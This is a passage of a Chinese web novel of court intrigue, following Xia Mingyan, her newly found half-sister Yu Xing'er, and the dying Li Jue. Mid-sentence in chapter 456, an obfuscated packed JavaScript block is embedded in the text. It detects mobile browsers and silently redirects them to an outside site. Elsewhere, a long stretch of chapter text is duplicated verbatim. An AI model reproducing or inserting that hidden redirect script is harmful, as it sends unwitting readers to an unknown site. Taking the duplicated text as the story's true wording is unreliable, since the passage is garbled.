她自己跟陆远山都没能落下一个孩子,夏明月的生母也就是那名妾室也就罢了,人家陪着陆家去了彭州了,还同甘共苦了十余年,霞姑姑和画扇又算怎么回事? 楚氏要是知道了这一切,还意识到夏明月甚至还要被画扇这么一个地位低下的侍女比下去,她哪里还能容得下霞姑姑。 尤其是霞姑姑从前还是服侍她的人,就在她的眼皮子底下,她不会相信霞姑姑从前也被乔嬷嬷蒙蔽了,她只会觉得霞姑姑一直都在故意骗她,把她当作傻子戏耍。而霞姑姑呢,自从她知道了真相,她心里就起了不平之意,原先在煤场的时候离楚氏远还好说,现在楚氏近在咫尺,而且楚氏就算不知道真相也绝不会善待她,她能忍得住不对楚氏动手? 把这两者放在一起,导致的后果只能是霞姑姑这枚棋子在见到陆远山真正发挥作用之前就折在了楚氏手里。还是离得远些,比较安全。 画扇应了下来,满口地谢意:“有夫人安排,奴婢就放心了,这样真是再好不过了。奴婢以后一定以夫人马首是瞻,您有什么吩咐只管说。奴婢就先不打扰您和于姑娘了,就先下去了……” 画扇很有眼色地退了出去,临走还善意地朝着于杏儿笑了笑。 于杏儿这会儿满脸寒霜,毕竟年纪还小,陡然间完全清楚了自己的身世还是接受不了的,刚才在楚氏面前,她的镇定和无所谓到底有几分还是强装出来的。 夏明嫣看了看她,示意她可以坐下:“刚才画扇朝你笑了一下,你猜她是什么意思,说说看。” 于杏儿心里还在为楚氏的事愤愤不平,不过夏明嫣是她的恩人,恩人问话她当然要回答: “画扇姐姐……夫人会带她一起去,还当着她的面说了我的身世,她也不像是夫人你的心腹,那就也应该是跟这件事有关的人。” “不用说了,我都知道,肯定也是被我……被楚夫人他们害过的人,她刚才对我那样笑,我知道她没有坏心,那就是说我们是可以相互帮助的。” 果然聪慧,楚氏该是做梦都没想到她当年失去了一个最适合栽培的女儿! 于杏儿一来府里就拒绝了成为妾室的安排,夏明嫣想着既然让她做了管事儿,又毕竟是自己血脉相连的姐妹,还打算让她由着性子闹楚氏,便多她未加约束,甚至连规矩都没怎么交。 以致于于杏儿到现在也没自称奴婢或是妾身,好在华叶峰这一支原就是华家负责屯田的一支,若不是前头的兄长都战死了,也轮不到他继承爵位,董氏年轻的时候就是跟华叶峰一起屯田的。 自从他们这一房进了元京,上上下下都不得不讲究起了规矩、体统、仪态,就连这府上出身最低的侍女恐怕都是元京城外不远的贱籍女子,都是见过大户人家的富贵和世面的,平日里跟董氏没多少话说。 于杏儿原本是个渔家女,不仅从小没有受过规矩的束缚,她身上还有一种卓然天成的自然之感和一种更为难得的野性,这一点讨足了董氏喜欢。 如今董氏已经彻底把中馈交给了夏明嫣,她也知道儿子、媳妇都有大事要忙,自己自觉得不出来添乱。 而且董氏从前巴望着有妾室进府替华靖离繁衍子嗣,现在觉得夏明嫣实在不错,而且夏明嫣能治好华靖离,难道让自己生几个孩子还不行了?她便不再那般热衷于给华靖离纳妾了,反倒是越来越担心这些个妾室会影响儿子和儿媳妇的感情。 第455章无比通透 董氏现在反而不愿意让府里的这些妾室和备选的妾室近华靖离的身了,还常把这些人叫到自己身边说笑、服侍。 现在董氏身边的事儿由邓澜管着,插科打诨、讲外头新鲜事儿的活儿则由于杏儿负责,连带这于杏儿在钩翊侯府的地位都快速提升了起来。 夏明嫣饶是之前就发现于杏儿是个有天分的,现在也不由得眼睛亮了亮: “行啊你,这渔家的生活也不算耽误了你太多。规矩、礼仪可以后学,但你也不用太紧张。别人知道你的情况,只要不是太严苛的,都不会对你苛求太多,说几句不好听的,你这性子想必也不会放在心上。” “没读过多少书,也不算什么,过些日子我找个识字的侍女跟着你,把平时用的到了教了你,够用就行。你在道理上通达、干练,比那些读了许多的书却不知运用的人要强得多。” “既然你已经知道实情了,也不必端着了。有什么想对我说的,就说吧?” 于杏儿打量了一下夏明嫣,用一种从未有过的尴尬眼神儿,最后还是硬着头皮把话说了出来: “楚夫人是你的继母,我知道除了你说的事儿,她肯定还对你做了许多不好的事。我虽说自认跟她没什么关系,可就像你说的,既然她已经知道我的存在了,将来肯定是会有联系的。你恨她,也连带着恨我,我也能接受。” “诶,你别用那种眼神儿看着我。我虽然没跟你们在一块儿过,可民间那些个恶毒继母是怎么对待原配生的子女的,我从小没少见过,更没少听过。” “我也知道,你把我弄来,肯定不是好心让我们母女相认的,你肯定要让我做什么。我答应你就是了,你看起来不是什么坏人,至少比她好,而且吃人嘴短拿人手软,我不白吃白住。” 于杏儿不是一个贪图富贵的人,可是她这个人天生喜爱冒险,原本的生活对他来说已经习以为常、乏善可陈了,现在的生活却处处充满新奇和刺激。 夏明嫣做出严肃的样子:“你想留下来了?你可知道我们要对你的亲生父母、外祖父做什么?如果我要针对他们,甚至让他们落罪流放、身首异处,你也要跟着我们干。” 于杏儿神色复杂,像是经过了某种纠结,但看样子又不像是在纠结这些人该不该落得那般下场。 她倒像是在纠结一个复杂的逻辑问题,就像在研究一个构造精密的器物:“你们要对付他们,看起来不像只是因为他们先对不住你们,应该还有别人原因。我猜,他们还要对付别人。” “确切的说,是他们想要做一件大事,一件很不好的事。按你们说的,一边是我那个没见过面的、心狠手辣的相爷外祖父,一边是位居尚书高位的亲生父亲,还有一个远在彭州流放、可能这些年都在图谋不轨的陆世叔,还有一个是原本很快就可以当侯爷还经常打算往北疆军中跑的端侯世子。” “这些个人各个都是大人物,我别的本事没有,话本子听得多,也不怕吓着你,你是个使软刀子的,我这个渔家女见过的可不止是渔船和打渔的,海上和江上的事儿,船开出去能遇上的可不止是风浪。” 真以为她的狠劲儿只限于使鱼叉、拿菜刀砍鱼头么?海上有海匪、有商船,也有各种的勾心斗角和见不得光的勾当,于杏儿虽然没干过那种事儿,但她见过,甚至为了给家里挣银子,小时候在干这些事儿的船上做过短工,跟着他们出过海。 她一个姑娘家,又有养父母和兄长在前面撑着,真有这种事也轮不到她动手,可她光是看过,就已经比元京的这些贵女要坚强、狠辣了。 她嘿嘿一笑,嘴咧得恨不得把大牙都露出来,“这么多大人物凑在一块儿,还是从我出生前就开始谋划了,少说都有十五年了,说不定二十多年都不止,这么大的事儿,该不会是要……” 最后两个字她没直接说出口,但是从发出的气声还有口型能推测出是“反吧”。 夏明嫣更加要对于杏儿刮目相看了,这丫头可比曾经的她要清醒得多,而且可能因为她完全不知情,对亲生父母没有那份指望,做出这样的判断要远比她干净利落得多,可以说丝毫没有拖泥带水。 夏明嫣也没瞒着她,点了下头:“对,你很聪明。” “这不是聪明,能有啥事儿要这么偷偷摸摸的?你那是当局者迷,我们那儿虽然没这号人,可那时南边儿啊,有这种歪心思的王爷可不少。” 于杏儿一副“你看这事儿你就没我见识多了吧”的样子,还摆了摆手, “也就是说,他们不是针对你们,确切的说不是直接针对你们,他们的心很大,你们只是横在他们那条路上的一块儿绊脚石,或者说是一个利用得好就被他们自己拿去用的火药桶。” 她用手指向天上指了指,“这就简单了,他们要针对的那位……最大的受害者肯定是最要针对他们的,最想要揭露他们阴谋的是宫里的皇帝老儿,不是你们。” “就算没有你们,他们都反常成这样了,皇帝老儿能一点都没察觉?没有你们,也会有别人的,我不怨你们。我是从渔村出来的,大道理我不懂,可我知道这天下乱了,最先倒霉的就是我们这些老百姓。” “一定要选一个帮的话,我肯定选择帮你啊。就算只论我自己,我也一样站在你们这一边,没有你接我回来,他们知道我在哪儿吗?” 楚氏他们说得在好听也没用,他们对她一定也曾经有过不舍和愧疚,可再不舍终究也是舍了,再愧疚之后不也跟没事儿人一样么? 像楚霆孝和楚氏这种人,大概只有在最终事情败露、他们落得下场凄惨的时候,才会想想左右都是这般下场,当初还不如留下这个亲生女儿、外孙女呢。 要是他们一路春风得意,哪里还想得起她?要不是夏明嫣把她带到楚氏面前了,楚氏心里只会有那个夏明月! 好啊,他们在怎么忧心忡忡,也一直过着富贵日子。而她呢,不是在跟老天爷挣命,就是在码头上做鱼饭还得被恶人调戏!董氏现在反而不愿意让府里的这些妾室和备选的妾室近华靖离的身了,还常把这些人叫到自己身边说笑、服侍。 现在董氏身边的事儿由邓澜管着,插科打诨、讲外头新鲜事儿的活儿则由于杏儿负责,连带这于杏儿在钩翊侯府的地位都快速提升了起来。 夏明嫣饶是之前就发现于杏儿是个有天分的,现在也不由得眼睛亮了亮: “行啊你,这渔家的生活也不算耽误了你太多。规矩、礼仪可以后学,但你也不用太紧张。别人知道你的情况,只要不是太严苛的,都不会对你苛求太多,说几句不好听的,你这性子想必也不会放在心上。” “没读过多少书,也不算什么,过些日子我找个识字的侍女跟着你,把平时用的到了教了你,够用就行。你在道理上通达、干练,比那些读了许多的书却不知运用的人要强得多。” “既然你已经知道实情了,也不必端着了。有什么想对我说的,就说吧?” 于杏儿打量了一下夏明嫣,用一种从未有过的尴尬眼神儿,最后还是硬着头皮把话说了出来: “楚夫人是你的继母,我知道除了你说的事儿,她肯定还对你做了许多不好的事。我虽说自认跟她没什么关系,可就像你说的,既然她已经知道我的存在了,将来肯定是会有联系的。你恨她,也连带着恨我,我也能接受。” “诶,你别用那种眼神儿看着我。我虽然没跟你们在一块儿过,可民间那些个恶毒继母是怎么对待原配生的子女的,我从小没少见过,更没少听过。” “我也知道,你把我弄来,肯定不是好心让我们母女相认的,你肯定要让我做什么。我答应你就是了,你看起来不是什么坏人,至少比她好,而且吃人嘴短拿人手软,我不白吃白住。” 于杏儿不是一个贪图富贵的人,可是她这个人天生喜爱冒险,原本的生活对他来说已经习以为常、乏善可陈了,现在的生活却处处充满新奇和刺激。 夏明嫣做出严肃的样子:“你想留下来了?你可知道我们要对你的亲生父母、外祖父做什么?如果我要针对他们,甚至让他们落罪流放、身首异处,你也要跟着我们干。” 于杏儿神色复杂,像是经过了某种纠结,但看样子又不像是在纠结这些人该不该落得那般下场。 她倒像是在纠结一个复杂的逻辑问题,就像在研究一个构造精密的器物:“你们要对付他们,看起来不像只是因为他们先对不住你们,应该还有别人原因。我猜,他们还要对付别人。” “确切的说,是他们想要做一件大事,一件很不好的事。按你们说的,一边是我那个没见过面的、心狠手辣的相爷外祖父,一边是位居尚书高位的亲生父亲,还有一个远在彭州流放、可能这些年都在图谋不轨的陆世叔,还有一个是原本很快就可以当侯爷还经常打算往北疆军中跑的端侯世子。” “这些个人各个都是大人物,我别的本事没有,话本子听得多,也不怕吓着你,你是个使软刀子的,我这个渔家女见过的可不止是渔船和打渔的,海上和江上的事儿,船开出去能遇上的可不止是风浪。” 真以为她的狠劲儿只限于使鱼叉、拿菜刀砍鱼头么?海上有海匪、有商船,也有各种的勾心斗角和见不得光的勾当,于杏儿虽然没干过那种事儿,但她见过,甚至为了给家里挣银子,小时候在干这些事儿的船上做过短工,跟着他们出过海。 她一个姑娘家,又有养父母和兄长在前面撑着,真有这种事也轮不到她动手,可她光是看过,就已经比元京的这些贵女要坚强、狠辣了。 她嘿嘿一笑,嘴咧得恨不得把大牙都露出来,“这么多大人物凑在一块儿,还是从我出生前就开始谋划了,少说都有十五年了,说不定二十多年都不止,这么大的事儿,该不会是要……” 最后两个字她没直接说出口,但是从发出的气声还有口型能推测出是“反吧”。 夏明嫣更加要对于杏儿刮目相看了,这丫头可比曾经的她要清醒得多,而且可能因为她完全不知情,对亲生父母没有那份指望,做出这样的判断要远比她干净利落得多,可以说丝毫没有拖泥带水。 夏明嫣也没瞒着她,点了下头:“对,你很聪明。” “这不是聪明,能有啥事儿要这么偷偷摸摸的?你那是当局者迷,我们那儿虽然没这号人,可那时南边儿啊,有这种歪心思的王爷可不少。” 于杏儿一副“你看这事儿你就没我见识多了吧”的样子,还摆了摆手, “也就是说,他们不是针对你们,确切的说不是直接针对你们,他们的心很大,你们只是横在他们那条路上的一块儿绊脚石,或者说是一个利用得好就被他们自己拿去用的火药桶。” 她用手指向天上指了指,“这就简单了,他们要针对的那位……最大的受害者肯定是最要针对他们的,最想要揭露他们阴谋的是宫里的皇帝老儿,不是你们。” “就算没有你们,他们都反常成这样了,皇帝老儿能一点都没察觉?没有你们,也会有别人的,我不怨你们。我是从渔村出来的,大道理我不懂,可我知道这天下乱了,最先倒霉的就是我们这些老百姓。” “一定要选一个帮的话,我肯定选择帮你啊。就算只论我自己,我也一样站在你们这一边,没有你接我回来,他们知道我在哪儿吗?” 楚氏他们说得在好听也没用,他们对她一定也曾经有过不舍和愧疚,可再不舍终究也是舍了,再愧疚之后不也跟没事儿人一样么? 像楚霆孝和楚氏这种人,大概只有在最终事情败露、他们落得下场凄惨的时候,才会想想左右都是这般下场,当初还不如留下这个亲生女儿、外孙女呢。 要是他们一路春风得意,哪里还想得起她?要不是夏明嫣把她带到楚氏面前了,楚氏心里只会有那个夏明月! 好啊,他们在怎么忧心忡忡,也一直过着富贵日子。而她呢,不是在跟老天爷挣命,就是在码头上做鱼饭还得被恶人调戏! 第456章下不去手的,她来 那么她于杏儿也没必要体谅他们所谓的苦衷,她大可以凭她自己的心意寻一个公道。 在于杏儿见到夏明嫣派去接她的人之前,她曾经想过,自己的本家很可能是因为穷困潦倒或是其他什么不得已的苦衷才抛弃她的,可事实证明他们的不得已并不是一般人理解的不得已。 以楚、夏两家的能力,就算不要她了,把她找个门生故旧的老家安置了,就说是族里谁的女儿,因为命格相克或是身子不好,将她送到乡下寄养。那她就算过不上高门贵女的日子,也能过上衣食无忧、平平淡淡的日子。 可是楚家是怎么对她的?要让别人的女儿顶替她,就得要了她的命。 楚氏也不像她说的那么无辜,乔嬷嬷把她抱走的时候,楚氏或许真不知道,可是之后知道了,她有没有寻死觅活地抗争过? 楚氏是必须摆在台面上的人,但凡足够坚持,表示出要是这些人不把她的亲生女儿安置好就绝不配合还要在人前大闹的态度,坚持生要见人、死要见尸,都能找到她再行安置了。 于杏儿态度坚决地道:“我才不管他们是我的谁,他们不仅对不起我,还一定对不起了很多人,等到将来他们还会伤害更多的人,那我凭什么还要跟他们讲亲情?” “有一次出海,我们的船遇上了一头恶鲨,我用鱼叉扎伤了它,它逃走了,一船的人才活了下来。那是我第一次用鱼叉扎伤那么大的鱼,从那以后我就明白了,要见血的时候心要狠,不能想别的。” “什么这鱼有多可怜,它也有爹娘……这些都不能想,就得心一横、眼一瞪、铆足了劲儿地往下刺。要对付他们这样的人,道理也一样,要是动手的时候还想着那些有的没的,怎么动手!” “要不这样,你有下不去手或者不方便下手的时候,你就来找我,我下的去手!” 夏明嫣都要被于杏儿逗笑了:“我下不去手,你就下得去?杀鱼和害人可是不一样的,你也得想清楚了。” “这儿可不是外面,看谁不顺眼,就给他使个绊子,顶天了让他吃几年牢饭。如今这是在元京,事事都与朝堂有关,一旦动手,后果无法估量。” 于杏儿上下打量着夏明嫣,耸了耸鼻尖:“至少比你下得去手,你呢,还得顾及着华家和你自己的体面,我可不怕,我本就是个渔家女,能有什么顾忌。” “我就是个山大王,不怕人说,也不怕人议论,也不用让他们知道我到底是谁。我都成这样了,被他们认回去也落不着好。我没你顾忌多,自然比你下得去手。” “成吧,你我之间就算是心照不宣了,也未必需要你做什么,有你在,能让他们有所顾忌就可以了,我没打算为难你。没事儿的时候,你就多读读书,多念几个字,总归是有好处的。” 夏明嫣起身要走,她没那么卑鄙非要将楚氏的亲生女儿引上死路,她要的是诛心,就于杏儿这比石头还硬、比冰还滑的性子,就够收拾楚氏的了。 那几家最厉害的地方就在于他们之间的联盟,也就是说他们彼此之间配合得好,而联盟这东西一环扣一环,这中间有一环出了问题,就会引发大问题。 而于杏儿就是敲开楚氏和夏庸这两块石头的利器,有这个作用就够了,她还是希望于杏儿将来能成为更好的人。 于杏儿欲言又止,不过她不是一个藏得住话的人,还是问了出来:“夏大人现在知道这件事么?” 夏明嫣一下子就明白了,于杏儿还是有些不知者不罪的心理的:“**,咱们这个爹啊,前头走得太顺了了,对很多事儿反而迟钝了。” “你要是能劝他迷途知返,也不失为一种解决之道。你可以琢磨琢磨,不过你得答应我一件事,如果你打算认他,你跟他有实际接触之前,一定要跟我说一声。” 于杏儿点了点头:“好,我知道了,虽然你大概不想认我这个妹妹,那咱们就半主仆、半姐妹吧,反正你把我弄回来的说让我当妾室、当通房,要是我点头了,我跟你现在也已经是姐妹了。” 说完,没等夏明嫣再开口,于杏儿就拧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175573|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴着脸下去了,话说得再果决,她也毕竟还是个未及笄的姑娘家,有些东西还需要她自己慢慢消化。 这段时间有了楚氏的斡旋,不仅是华靖离跟这几家之间,就是整个朝廷都恢复到了之前的平静。 不过这都只是表面而已,在平静的海面下,到处都是汹涌的暗流。 这中间许多事都发生得猝不及防,或许是夏明嫣和华靖离的重生加速了许多原本事情的进展,整件事或者说原本未来的十年都随着李玦的怪病而发生了改变,短短一年时间,已然走完了过去七年的路。 李玦被夏明月气**之后,何夫人得到消息,她虽然只被获准前来见了儿子一面就被押回了寺院,可她依然调动了能够调动的一切杏林人脉,给李玦治病。 楚、夏两家出于种种原因的考虑,也是担心李玦的情况会影响到夏明月的处境和夏家的声誉,也竭尽全力为他延请了医者。 这些医者里甚至也包括了夏明嫣,毕竟现在蛊医已经重回元京还开起了医馆、药铺,之前夏明嫣还治好了华靖离,治疗的效果甚至经过了全城医者的验证,这种事儿怎么也得把她请上。 夏明月本来不愿意,可是楚氏这回没由着她,跟她讲了李玦要是好不了了会有什么后果,夏明月不得不答应。 楚氏担心再出事,也想让乔嬷嬷见一见于杏儿,特意让乔嬷嬷去请了夏明嫣过去。 夏明嫣跟李玦号了脉还给他施了针,并不是为了治疗而是为了看看他身体的反应,结果这一试连她自己都愣住了。 她没直接说出诊断的结果,而是把楚氏、夏庸和夏明月都叫了过来,当着他们的面说的: “世子妹夫这病怕是不大好,这毒产生与他自身血脉,本就难以化解。这些日子以来,想来他也是心情郁结、不得开解的,这毒便越来越深了。” “妹夫如今不过二十出头,这身子已然像是四十多岁的中年人了,而且这衰老的速度并没有减缓,还在加剧……恐怕再这样下去,最多还有五年光景。” 第457章治不好了 “什么五年?你这个庸医,不,你就是故意的,你就是见不得我们好!夫君,别听她的,你一定可以好起来的。” 夏明月嚷嚷起来,眼中还涌出了一层泪水,她一会儿去求夏庸,一会儿又拉着楚氏的袖子不放,就是不去碰李玦一下。 楚氏觉得尴尬,可还是夏庸先发现了不对,他语气严厉地道:“明月,你该关心关心你的夫君,你如此不知体贴,还大喊大叫地惊扰他,成何体统。” 夏明月嘴上在为李玦着想,实际上李玦现在只是她博得家中支持和同情的工具。 李玦现在的状况与瘫痪无异,夏明月早就嫌弃了他,这些天只把他交给侍女和小厮照顾,她自己不仅从不沾手,还经常嫌弃地指桑骂槐,说李玦没用。 如今的李玦别说对自己的前程了,他连自己还能活多久都不知道,在他的世界里只剩下了将要走上绝路的仓皇不安。 楚氏这回地态度都是很好,她瞪了夏明月一眼,诚恳地看向夏明嫣: “明嫣啊,你是医者,定然不会在这种事上说假话。可我们想知道,李世子如今这样真的不能救了吗?良医指望不上了,蛊医可行?” 从前一提到蛊医就变了神色,如今到了这步田地,他们也只能像夏明嫣求援。 可夏明嫣也不傻,她当然能救李玦的命,但也仅仅是救命而已,想要恢复如初甚至将来还能横刀跃马是绝不可能的。 她若是一时心软应允下来,将来定然会被他们埋怨,就算他们心里清楚错不在她,也会故意说是她的问题,甚至说是华靖离在背后指使的,她才没那么傻。 夏明嫣挤出一丝比苦瓜还苦的笑:“要是能救,我也不会想担一个见死不救的骂名。可是父亲、母亲、二妹妹想必把能请的郎中都请过了,这当中也包括宫中的御医,要是他们有那立竿见影的法子,你们也不会来找我了。” “可我也只是一个凡人,世子妹夫这病症着实少有,还牵扯了心病,我也是无能为力。我看不如这样,你们定下几位郎中,我也可以参与其中,大家一起为世子妹夫诊治。” “这样的话,不仅咱们都能放心,郎中之间也能彼此有个见证,还能群策群力,集众家之所长,救回世子妹夫的几率也更大一点。” 这是个好法子,只要夏家把银子出了,就是御医也请得来。大家一起,这样诊治出的结果,谁也别怨谁。 楚氏和夏庸都没有意见,只有夏明月不愿意:“那样的话岂不是要经常请御医过来,万一圣上知道了他病成这般样子,倒霉的还是我,你根本就没安好心!” 这回没用夏明嫣说什么,夏庸忍无可忍地一个巴掌打了过去,不顾夏明月随即爆发出的哭闹,大声呵斥道: “都到了这个时候了,该知道的、不该知道的圣上早就都知道了,你瞒,瞒有什么用?你不想被人说是妒妇,怎么不早点体贴你的夫君?” “还有那什么刀的事儿还没跟你算,要是那刀再不露面还好,要是哪天宫里找来了,我看你怎么办!” “现在人人都知道你干了什么,若是世子不能有所好转,我看你也快要到寺中陪你婆母去了。” 楚氏自从见到了于杏儿,尽管于杏儿没有唤她一声母亲,可只要见到了自己的亲生女儿,她心里便越来越有了着落。 这种感觉的变化很微妙,楚氏现在越看夏明月越不顺眼,从前夏明月撒个娇在眼里是可亲可爱,如今也渐渐变成了矫揉造作。 楚氏呵斥了夏明月几句,让她懂事些,不要闹了,便当着夏明嫣的面吩咐端侯府的人去下帖子、请郎中。 夏明嫣没有多留,见时候差不多了,起身就走,临走只嘱咐了这些:“我不自己给妹夫瞧病,也是因为他这病怕是全身都要动针的,我一个女子,又是他的姨姐,着实不合适。” “妹夫这病怕是只能保命,以后如何服侍不仅牵涉到他的身子和如何过日子,这照料他的人怕是也少不得因此多些是非。父亲和夫人还是把这些都想到了,省得以后传出更不好听的话来。” 她最后 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若是这二人是毫无感情基础的联姻夫妻也就罢了,偏偏前头他们自己把他们之间的感情吹捧得天花乱坠,这么一对比,更加要有人说夏明月的闲话了。 什么只可共富贵、不能共患难了,这回还得有人说她落井下石,一看自己的夫君这样了,就要舍弃了,甚至说她恨不得李玦死的都有……这些话要是传到了宫里,夏家教出这样的恶女,一样得不了好。 这些话要是夏明嫣不说,最后少不得还要怪她这个当姐姐的如何不知提醒,就是等着在看他们的笑话。 她说了,楚氏和夏庸当然会设法将这一切安排好,可安排来、安排去,有夏明月这么个人在,事情终究还是会往既定的方向发展,到时候可就怪不得她了。 这之后的话便是在提醒夏庸了,李玦都这样了,他们支起的这张桌子少了一条腿儿,他们谋划的“盛世蓝图”就更虚无缥缈了,那么他还要继续坚持么? 第458章进展加快 夏庸的年纪也不小了,夏登云如今还没有功名,也没有尺寸之功,原还想着要是能把李玦扶植起来,将来看在夏登云跟夏明月是同胞姐弟的份上,李玦能拉拔夏登云一把。 如今看来,李玦压根指望不上了,虽说身子垮了,躺在侯府里也能运筹帷幄,可夏明月如今这恨不得自己赶紧做了寡妇才好再嫁的派头,李玦别说帮夏登云一把了,以他那看似云淡风轻、高风亮节实则狭小异常的气量,不一脚把夏登云踹下去就不错了。 夏庸和楚氏对视了一眼,这两年夫妻二人比最初时的关系更加疏远,夏庸身边有妾室服侍,他们两个没个十天半个月都可能不会见一面,这一眼终于又找回了些许默契。 刚才夏明嫣提醒的对,远处的事儿即便他们还有谋划,那也是将来的事儿,夏明月的事儿却是近在眼前的。 李玦如果最终只能那般活着,夏明月可就等于要守活寡了,别人守寡,都得清心寡欲,夏明月那就得惹是生非、兴风作浪了,到时候定然要连累夏庸这个当爹的。 这一眼之后,趁着端侯府如今没人做主,情况比以前更乱了,楚氏亲自坐镇张罗着让众医者给李玦治病,整个过程不仅尽心尽力,还公正公开。 楚氏甚至让人在端侯府门口张了几张榜,把那些医者诊治后的脉案都让人抄录在上面,让全城的人都来看,她说这么做的目的是希望把李玦的病情散布出去,这样民间和江湖上有偏方和奇诡手段的医者也能闻风而至。 端侯府现在没有现银,就由夏家拿出三万两银子作为悬赏,但凡有人能治好李玦,就能得到这笔银子。 一时间别管大家怎么议论夏明月了,大家对夏家的感观大大提升,都说别管女儿养得多有问题,绝对不是夏庸和楚氏的错,这岳父、岳母做的可是够仗义啊! 是夏庸和楚氏不想拉夏明月一把么?也不是,至少夏庸根本不知道夏明月不是亲生女儿,他还是想护着这个女儿的。 只是想不想和能不能从来都不是一个问题,楚氏和夏庸现在都护不住夏明月了,因为就连宫里的皇后娘娘都派人来“问候”过了,他们讲再多的道理,也得夏明月肯听才行。 可楚氏毕竟不能总往端侯府跑,最终她索性把自己的心腹乔嬷嬷派了过去,坐镇内宅,直接把夏明月给架空了。 等李玦恢复了一些,他就把孙允斌叫了回去,让孙允斌帮着打理端侯府在南疆的事。 孙允斌之前就投诚了华靖离,这时候回去自然是做间者的,他的事儿如今已经在圣上和东宫那里过了明路,甚至他暗中还当上了东宫的属官,就算最终事情失败了,他也可以去东宫任职。 夏明嫣知道这件事之后感慨地对华靖离道:“这环境就像是地上的土,这土好了,上面种的花儿就好。这孙允斌……我原先以为他比李世子还要顽固,是改不了的,真是没想到。” 华靖离看她咂嘴的样子,再难掩笑意:“不是不能改变,他那也不是顽固,他这人比常人强的是心智和做事的能为。他这心智后来坚定,前头也一样坚定,他认准了的事便轻易不会改变。” “他从小在老家被孙氏嫡支影响,他对朝廷、元京的认知都被带偏了,因为他心智坚定,他对这些都深信不疑。李玦占据了先机还利用了这一点,先一步让孙允斌信了他,孙允斌之后再想转变这种观念就难了。” “我猜,等他想明白的时候已经晚了,下不了船了,那就只能无毒不丈夫,一条路走到黑了。” 等到发现领着自己融入元京繁华的原来是个奸人,他自己已经犯了回不了头的大错了,这时候他要是想弃暗投明,那明就一定会宽恕得了他这暗么? 即便宽恕了,他的前程也没了。不宽恕的话,他不仅自己要身首异处,还会连累他的家族。 孙允斌心里原就有以他这旁支子弟的一己之力振兴家族,却不想变成了祸害家族,连自己也完了。他不会允许这样的事发生,只能一条道走到黑。 这条路越走越深,他就愈发无法回头,只能用更狠辣、更惨然的手段去一重一重地压制曾经做过的恶事。这样的人,等到他把想要扳倒的障碍都处理掉了之后,他又要面对昔日的盟 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有这么好的一条路给他走,他之前陷得还不深,他自然也就不必走老路。这一回他心智上的执着正好落在这条正确的路上,局势逆转,这回反倒变成了别人难以扭转他了。 夏明嫣笑道:“我对他这个人没什么恨意,从前也只是觉得他这人是个枭雄,却也是卑劣的人。可是,他再卑劣,也是对别人,并不是对我。况且许多事儿都是朝堂上的争斗,即便没有他,也会出现另一个人。” “现在他改变了,我对他就更没必要有多少不好的看法了,只是对他……还是要保有一份戒心。” 华靖离在她背上轻抚了两下,像是在抚摸一只小猫:“戒心一定要有,毕竟前一世他能做出那些事,也跟他的天性有关系,这一世也难免本性难移。” “大事儿上他听我们的,细枝末节上却未必会与我们一致,咱们可能会感到不舒服,也可能被牵涉其中。不过这都是朝堂上的事儿,牵扯不到你,你就当看戏了。” 第459章夏庸降职 本性难移,他们跟孙允斌充其量是合作关系,连朋友都算不是关系好的那种,因为别看孙允斌将来会有那么大的能耐,他们在本质上也不是同一种人。 夏明嫣和华靖离都同样有过处于低谷的时候,而且他们的低谷并不只是被人看不起、日子不好过,他们都是有性命之忧的,尤其是华靖离,不知有多少回的出生入死,可是他们都没有像孙允斌那样自辱甚至试图委身于人。 上一世接近夏明月也好,这一世试图接近夏明嫣和华青青,虽然一开始都是李玦提出并且安排的,可他孙允斌不是也同意了吗? 要是孙允斌自己不愿意,李玦一没把刀架他脖子上,二没有也不敢拿住孙氏的族人,孙允斌还不是用自己的一双腿走到了这些个女人面前? 这种事换了夏明嫣和华靖离是不会做的,他们做不到这么不要脸面,换做夏登云和于杏儿那样的也不会,他们宁肯一头撞死,于杏儿还得顺手把让她这么做的人带走。 就算是换了邓澜那样柔弱,她也许会先答应下来,但是她一定不会真的去做,她会先拖延时间,再用其他方式化解此事。 就算是夏庸这样靠着裙带关系往上爬的,他跟楚氏也是明媒正娶的,从来没有偷偷摸摸过…… 反观孙允斌能做出这种事,绝对跟他的人品有关,如今他们只是刚刚把他引到这条正路上,可不敢说已经彻底改变了他的天性和人品。 夏明嫣不无担忧地看着华靖离:“我不是担心我自己,他再卑劣,上辈子也没灭了夏明月的口,李世子知道他跟夏明月的事儿,一定拿这些事儿要挟过他,他也一直留着李世子的命。” “他应该不会对我这样一个妇道人家下手,倒是你,将来说不定要跟他对上,或是他主动跟你对上。” 华靖离摊了摊手:“我会让他不敢动手,论阴谋诡计,我不如将来的他,可我有法子让他一想到要对咱们动手就怕。玩儿心眼子斗不过他,那就用雷霆手段,让他知道我们是有能力一出手就打碎他的骨头的。” “即便他在道德和操守上想要对咱们动手,可他也是个聪明人,只要他能看到动手给他带来的风险,他要么不动手,安安分分地走他的文臣之路。要么,他也会选择对别人动手。” 要是孙允斌能够改变,将来再做朋友不迟。要是他改不了骨子里的恶劣,那就想法子借力打力,逼着他把这份恶劣用到别人身上去吧。 就好比楚霆孝、李玦、陆远山、夏庸、楚氏甚至还有把南疆局面搅得乱七八糟的诸王都可以当他的对手,他爱玩儿权谋算计,就让他算计这些人去。 “侯爷,宫里来传您,让您速速入宫。”一阵脚步声之后,郭林隔着门通报道。 华靖离叫了他进来,见葱白跟在后面,就知道情况想来有些紧急:“是单独传了我,还是还有别人?” 郭林回禀道:“圣上要开朝会,让城内但凡有资格上朝的大人们都去,听说是太子殿下游学回来了,大概是在路上看到了什么。” 谢维之前参与进了那边寨子的药材生意里,圣上特别准许了他微服出游,名义上是去四处游历,以便增长见闻,没人知道他其实秘密去了南疆。 圣上一直盯着端侯府这边的动静,自然也在老端侯的起家之地南疆安插了眼线,谢维这次亲自过去,不仅是他自己需要历练,他带去的人也要跟这些人联系。 想来走这一遭,了解到了不少惊人内幕,不然不会一回来就要召开朝会。 